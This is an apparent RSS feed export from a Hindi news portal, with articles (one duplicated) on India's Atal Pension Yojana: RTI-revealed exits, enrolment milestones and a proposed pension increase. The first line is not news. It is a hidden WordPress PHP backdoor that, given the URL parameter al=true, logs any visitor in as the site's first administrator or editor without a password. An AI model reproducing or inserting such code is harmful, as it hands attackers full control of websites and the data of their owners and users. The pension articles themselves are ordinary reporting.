// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Atal Pension Yojana – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 05:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 RTI में बड़ा खुलासा: अटल पेंशन योजना से 1.49 करोड़ लोगों ने छोड़ा साथ https://pratyushaashakinayikiran.com/?p=225056 Sat, 06 Jun 2026 05:37:00 +0000 https://pratyushaashakinayikiran.com/?p=225056 नई दिल्ली
सरकारी पेंशन स्कीम 'अटल पेंशन योजना' की खूब चर्चा होती है. अटल पेंशन योजना (APY) की शुरुआत साल 2015 में हुई थी. दरअसल, देश के असंगठित क्षेत्र के कामगारों को बुढ़ापे में वित्तीय सुरक्षा देने के उद्देश्य से इस स्कीम की शुरुआत की गई है. RTI के जरिये APY को लेकर एक बड़ा खुलासा हुआ है। 

 सूचना के अधिकार (RTI) के तहत मांगी गई जानकारी के जवाब में पता चला है कि साल 2015 में योजना की शुरुआत से लेकर अब तक लगभग 1.49 करोड़ लोग इस स्कीम से बाहर हो चुके हैं. पेंशन फंड नियामक और विकास प्राधिकरण (PFRDA) के आंकड़ों के मुताबिक योजना में हर साल रिकॉर्ड रजिस्ट्रेशन हो रहे हैं. लेकिन साथ ही समय से पहले खाता बंद करने या मृत्यु के कारण स्कीम से बाहर होने वालों की संख्या भी लगातार बढ़ रही है। 

RTI से मिले आंकड़ों के अनुसार 31 मार्च 2026 तक अटल पेंशन योजना के तहत कुल रजिस्ट्रेशन 8.96 करोड़ तक पहुंच चुका था. लेकिन इनमें से केवल 7.45 करोड़ सब्सक्राइबर ही फिलहाल एक्टिव हैं. इसका सीधा मतलब यह है कि एक बहुत बड़ा हिस्सा अब इस योजना का सक्रिय रूप से लाभ नहीं उठा रहा है। 

साल-दर-साल बढ़ता एग्जिट का ग्राफ
योजना के शुरुआती साल 2015-16 के दौरान केवल 2 लोगों ने स्कीम छोड़ी थी. लेकिन हालिया वित्तीय वर्ष 2025-26 में यह आंकड़ा सालाना 30.24 लाख से अधिक को पार कर गया. एक तरफ जहां एग्जिट करने वालों की संख्या बढ़ी है, वहीं दूसरी तरफ नए रजिस्ट्रेशन के मामले में योजना ने सारे रिकॉर्ड तोड़ दिए हैं. अकेले वित्तीय वर्ष 2025-26 में 1.35 करोड़ से अधिक नए सब्सक्राइबर्स इस योजना से जुड़े, जो इसके लॉन्च के बाद से किसी भी एक साल में सबसे बड़ी संख्या है। 

जब RTI के जरिए यह पूछा गया कि कितने सब्सक्राइबर्स ने रजिस्ट्रेशन के 1 साल, 3 साल या 5 साल के भीतर योगदान देना बंद कर दिया, तो PFRDA ने साफ कर दिया कि अटल पेंशन योजना के तहत 'डिसकंटिन्यूएशन' जैसी कोई अवधारणा नहीं है. इसलिए अगर किसी कारणवश कोई सब्सक्राइबर योगदान देना बंद कर देता है, तो वह बाद में बकाया ब्याज और देरी से किए गए योगदान का भुगतान करके अपने खाते को फिर से चालू कर सकता है। 

क्या है अटल पेंशन योजना?
अटल पेंशन योजना (APY) की शुरुआत साल 2015 में विशेष रूप से असंगठित क्षेत्र के श्रमिकों जैसे रेहड़ी-पटरी वाले, मजदूर, कारपेंटर, घरेलू सहायक   के लिए की गई थी. इसके तहत 18 से 40 वर्ष की आयु के भारतीय नागरिक निवेश कर सकते हैं. 60 वर्ष की आयु पूरी होने के बाद सब्सक्राइबर्स को उनके योगदान के आधार पर 1,000 रुपये से लेकर 5,000 रुपये प्रति माह तक पेंशन मिलती है। 

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RTI में बड़ा खुलासा: अटल पेंशन योजना से 1.49 करोड़ लोगों ने छोड़ा साथ https://pratyushaashakinayikiran.com/?p=225058 Sat, 06 Jun 2026 05:37:00 +0000 https://pratyushaashakinayikiran.com/?p=225058 नई दिल्ली
सरकारी पेंशन स्कीम 'अटल पेंशन योजना' की खूब चर्चा होती है. अटल पेंशन योजना (APY) की शुरुआत साल 2015 में हुई थी. दरअसल, देश के असंगठित क्षेत्र के कामगारों को बुढ़ापे में वित्तीय सुरक्षा देने के उद्देश्य से इस स्कीम की शुरुआत की गई है. RTI के जरिये APY को लेकर एक बड़ा खुलासा हुआ है। 

 सूचना के अधिकार (RTI) के तहत मांगी गई जानकारी के जवाब में पता चला है कि साल 2015 में योजना की शुरुआत से लेकर अब तक लगभग 1.49 करोड़ लोग इस स्कीम से बाहर हो चुके हैं. पेंशन फंड नियामक और विकास प्राधिकरण (PFRDA) के आंकड़ों के मुताबिक योजना में हर साल रिकॉर्ड रजिस्ट्रेशन हो रहे हैं. लेकिन साथ ही समय से पहले खाता बंद करने या मृत्यु के कारण स्कीम से बाहर होने वालों की संख्या भी लगातार बढ़ रही है। 

RTI से मिले आंकड़ों के अनुसार 31 मार्च 2026 तक अटल पेंशन योजना के तहत कुल रजिस्ट्रेशन 8.96 करोड़ तक पहुंच चुका था. लेकिन इनमें से केवल 7.45 करोड़ सब्सक्राइबर ही फिलहाल एक्टिव हैं. इसका सीधा मतलब यह है कि एक बहुत बड़ा हिस्सा अब इस योजना का सक्रिय रूप से लाभ नहीं उठा रहा है। 

साल-दर-साल बढ़ता एग्जिट का ग्राफ
योजना के शुरुआती साल 2015-16 के दौरान केवल 2 लोगों ने स्कीम छोड़ी थी. लेकिन हालिया वित्तीय वर्ष 2025-26 में यह आंकड़ा सालाना 30.24 लाख से अधिक को पार कर गया. एक तरफ जहां एग्जिट करने वालों की संख्या बढ़ी है, वहीं दूसरी तरफ नए रजिस्ट्रेशन के मामले में योजना ने सारे रिकॉर्ड तोड़ दिए हैं. अकेले वित्तीय वर्ष 2025-26 में 1.35 करोड़ से अधिक नए सब्सक्राइबर्स इस योजना से जुड़े, जो इसके लॉन्च के बाद से किसी भी एक साल में सबसे बड़ी संख्या है। 

जब RTI के जरिए यह पूछा गया कि कितने सब्सक्राइबर्स ने रजिस्ट्रेशन के 1 साल, 3 साल या 5 साल के भीतर योगदान देना बंद कर दिया, तो PFRDA ने साफ कर दिया कि अटल पेंशन योजना के तहत 'डिसकंटिन्यूएशन' जैसी कोई अवधारणा नहीं है. इसलिए अगर किसी कारणवश कोई सब्सक्राइबर योगदान देना बंद कर देता है, तो वह बाद में बकाया ब्याज और देरी से किए गए योगदान का भुगतान करके अपने खाते को फिर से चालू कर सकता है। 

क्या है अटल पेंशन योजना?
अटल पेंशन योजना (APY) की शुरुआत साल 2015 में विशेष रूप से असंगठित क्षेत्र के श्रमिकों जैसे रेहड़ी-पटरी वाले, मजदूर, कारपेंटर, घरेलू सहायक   के लिए की गई थी. इसके तहत 18 से 40 वर्ष की आयु के भारतीय नागरिक निवेश कर सकते हैं. 60 वर्ष की आयु पूरी होने के बाद सब्सक्राइबर्स को उनके योगदान के आधार पर 1,000 रुपये से लेकर 5,000 रुपये प्रति माह तक पेंशन मिलती है। 

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अटल पेंशन योजना के 10वें वर्ष में जुड़े 56 लाख लोग, 7 करोड़ पहुंचा नामांकन का आंकड़ा https://pratyushaashakinayikiran.com/?p=82896 Fri, 11 Oct 2024 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=82896 नई दिल्ली
भारत सरकार नागरिकों के लिए कई योजनाएं चला रही है। इन्हीं योजनाओं में से एक अटल पेंशन योजना है। यह योजना 18 से 40 वर्ष की उम्र के नागरिकों के लिए लाई गई है। अटल पेंशन योजना यानी एपीआई के 9 वर्ष पूरे हो चुके हैं। योजना के दसवें वर्ष में पेंशन फंड नियामक एवं विकास प्राधिकरण (पीएफआरडीए) की ओर से मंगलवार को सकल पंजीकरण के आंकड़ों की जानकारी दी गई है।

पीएफआरडीए द्वारा दी गई जानकारी के मुताबिक,अटल पेंशन योजना से अब तक 7 करोड़ लोग जुड़ चुके हैं। इस योजना के तहत वर्ष 2024- 25 में अब तक 56 लाख से अधिक नामांकन हुए हैं। प्राधिकरण ने कहा, “यह योजना अपने 10वें वर्ष में है और इसने एक बड़ी उपलब्धि हासिल कर ली है।” अटल पेंशन योजना के तहत नागरिकों को 60 वर्ष की उम्र में पेंशन की सुविधा दी जाती है। यह भारत में असंगठित क्षेत्र के श्रमिकों पर केंद्रित पेंशन योजना है, जिसे पेंशन फंड नियामक एवं विकास प्राधिकरण द्वारा रेगुलेट किया जाता है।

योजना के तहत लाभार्थी को 1,000- 5000 रुपये प्रति माह पेंशन दी जाती है। पेंशन की राशि लाभार्थी को उसके द्वारा योजना में दिए योगदान के आधार पर तय होती है। भारत का कोई भी नागरिक इस योजना में नामांकन करवा सकता है। योजना के लिए व्यक्ति का डाकघर या बैंक में एक बचत खाता होना अनिवार्य है। पीएफआरडीए ने कहा, “समाज के सबसे कमजोर वर्गों को पेंशन के दायरे में लाने की यह उपलब्धि सभी बैंकों और एसएलबीसी/यूटीएलबीसी के अथक प्रयासों से संभव हो पाई है।”

हाल के दिनों में, नियामक प्राधिकरण ने योजना के बारे में जागरूकता पैदा करने के लिए राज्य और जिला स्तर पर एपीवाई आउटरीच कार्यक्रम आयोजित करना, जागरूकता और प्रशिक्षण कार्यक्रम आयोजित करना, विभिन्न मीडिया चैनलों के माध्यम से प्रचार करना और नियमित निष्पादन समीक्षा करना जैसी पहल की है।

 

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6.62 करोड़ लोगों को होगा फायदा, डबल होगी अटल पेंशन!बजट में हो सकती है घोषणा https://pratyushaashakinayikiran.com/?p=49811 Wed, 10 Jul 2024 10:07:00 +0000 https://pratyushaashakinayikiran.com/?p=49811 नई दिल्ली
 केंद्र सरकार अटल पेंशन योजना ( Atal Pension Yojana ) में न्यूनतम भुगतान को दोगुना कर सकती है ! माना जा रहा है कि सरकार बजट में इस बारे में घोषणा कर सकती है ! अगर ऐसा होता है तो इस अटल पेंशन योजना ( APY Pension Scheme ) में रजिस्ट्रेशन कराने वालों को दोगुनी पेंशन का लाभ मिलेगा !

Atal Pension Yojana , न्यूनतम राशि बढ़ाने पर विचार

आपको बता दें कि फिलहाल अटल पेंशन योजना ( Atal Pension Yojana ) के तहत हर महीने 5000 रुपये दिए जाते हैं, जिसे दोगुना करके 10000 रुपये प्रति महीने करने पर विचार किया जा रहा है ! पिछले महीने पेंशन फंड रेगुलेटर एंड डेवलपमेंट अथॉरिटी के चेयरमैन दीपक मोहंती ने कहा था कि 2023-24 में अटल पेंशन योजना ( APY Pension Scheme ) के तहत नामांकन योजना शुरू होने के बाद से सबसे अधिक रहा है ! आपको बता दें कि इस सामाजिक सुरक्षा योजना को वर्ष 2015 में लॉन्च किया गया था !

वित्त मंत्री ने कही थी ये बात

गौरतलब है कि इस साल की शुरुआत में वित्त मंत्री निर्मला सीतारमण ने कहा था कि अटल पेंशन योजना ( Atal Pension Yojana ) को गारंटीड पेंशन राशि वाली किफायती योजना के तौर पर डिजाइन किया गया है ! सोशल मीडिया अकाउंट एक्स पर एक पोस्ट में उन्होंने कहा कि इस अटल पेंशन योजना ( APY Pension Scheme ) ने अपनी शुरुआत से अब तक 9.1% रिटर्न दिया है और यह अन्य बचत योजनाओं की तुलना में काफी प्रतिस्पर्धी है !

मैच्योरिटी के आधार पर मिलती है पेंशन

इस अटल पेंशन योजना ( APY Pension Scheme ) के तहत खाता खोलने पर लोगों को मैच्योरिटी पर 1 हजार से 5 हजार रुपये तक मासिक पेंशन मिलती है ! यह अटल पेंशन योजना ( Atal Pension Yojana ) में निवेश की गई राशि पर निर्भर करता है !

 सरकार अपनी प्रमुख सोशल सिक्योरिटी स्कीम अटल पेंशन योजना (Atal Pension Yojana) के तहत न्यूनतम गारंटीड राशि को दोगुना कर 10,000 रुपये कर सकती है। सूत्रों के मुताबिक 23 जुलाई को पेश होने वाले बजट में इसकी घोषणा की जा सकती है। उन्होंने बताया कि सरकार इसके राजकोषीय प्रभाव का आकलन कर रही है तथा बजट से पहले इस पर निर्णय लिया जाएगा। सरकार देश में सामाजिक सुरक्षा ढांचे को मजबूत करना चाहती है क्योंकि वह सामाजिक सुरक्षा पर लेबर कोड लागू करने के लिए आधार तैयार कर रही है। 20 जून तक के आंकड़ों के मुताबिक अटल पेंशन योजना में कुल 6.62 करोड़ लोगों ने खाते खोले थे। साल 2023-24 में 1.22 करोड़ नए खाते खोले जाएंगे।

एक अधिकारी ने बताया कि अटल पेंशन योजना को और अधिक आकर्षक बनाने के लिए कुछ प्रस्ताव रखे गए हैं। इनमें गारंटीड राशि बढ़ाना भी शामिल है। इन पर विचार किया जा रहा है। वर्तमान में, सरकार द्वारा गारंटीकृत लाभ के साथ, अंशदान के आधार पर 1,000-5,000 रुपये प्रति माह की न्यूनतम पेंशन की गारंटी है। पिछले महीने पेंशन फंड नियामक एवं विकास प्राधिकरण के अध्यक्ष दीपक मोहंती ने कहा था कि 2023-24 में अटल पेंशन योजना के तहत एनरॉलमेंट 2015 में योजना के शुभारंभ के बाद से सबसे अधिक था।

किसे नहीं मिलता है फायदा

पेंशन रेगुलेटर ने पेंशन राशि में बढ़ोतरी की वकालत की है। उसका कहना है कि मौजूदा राशि समय के साथ अपनी वैल्यू बरकरार नहीं रख पाएगी। इस साल की शुरुआत में वित्त मंत्री निर्मला सीतारमण ने कहा था कि अटल पेंशन योजना को एक किफायती योजना के रूप में डिजाइन किया गया है जिसमें पेंशन राशि की गारंटी है। एक्स पर एक पोस्ट में उन्होंने कहा कि इस योजना ने शुरुआत से ही 9.1% रिटर्न दिया है और यह अन्य बचत योजनाओं की तुलना में काफी प्रतिस्पर्धी है। वित्त मंत्री ने कहा कि अटल पेंशन योजना गरीबों और निम्न मध्यम वर्ग के लिए एक सब्सिडी वाली योजना है और यह स्पष्ट है कि अधिकांश पेंशन खाते निचले स्लैब में हैं।

साल 2015-16 में शुरू की गई अटल पेंशन योजना को नेशनल पेंशन स्कीम के माध्यम से PFRDA द्वारा प्रशासित किया जाता है। इस योजना में मृत्यु या लाइलाज बीमारी के मामलों को छोड़कर 60 वर्ष की आयु में पेंशन फंड के 100% एन्युटी के साथ योजना से बाहर निकलने की अनुमति है। बाहर निकलने पर ग्राहक को पेंशन उपलब्ध होती है। इनकम टैक्स का भुगतान करने वाले लोग इस योजना में शामिल होने के पात्र नहीं हैं।

 

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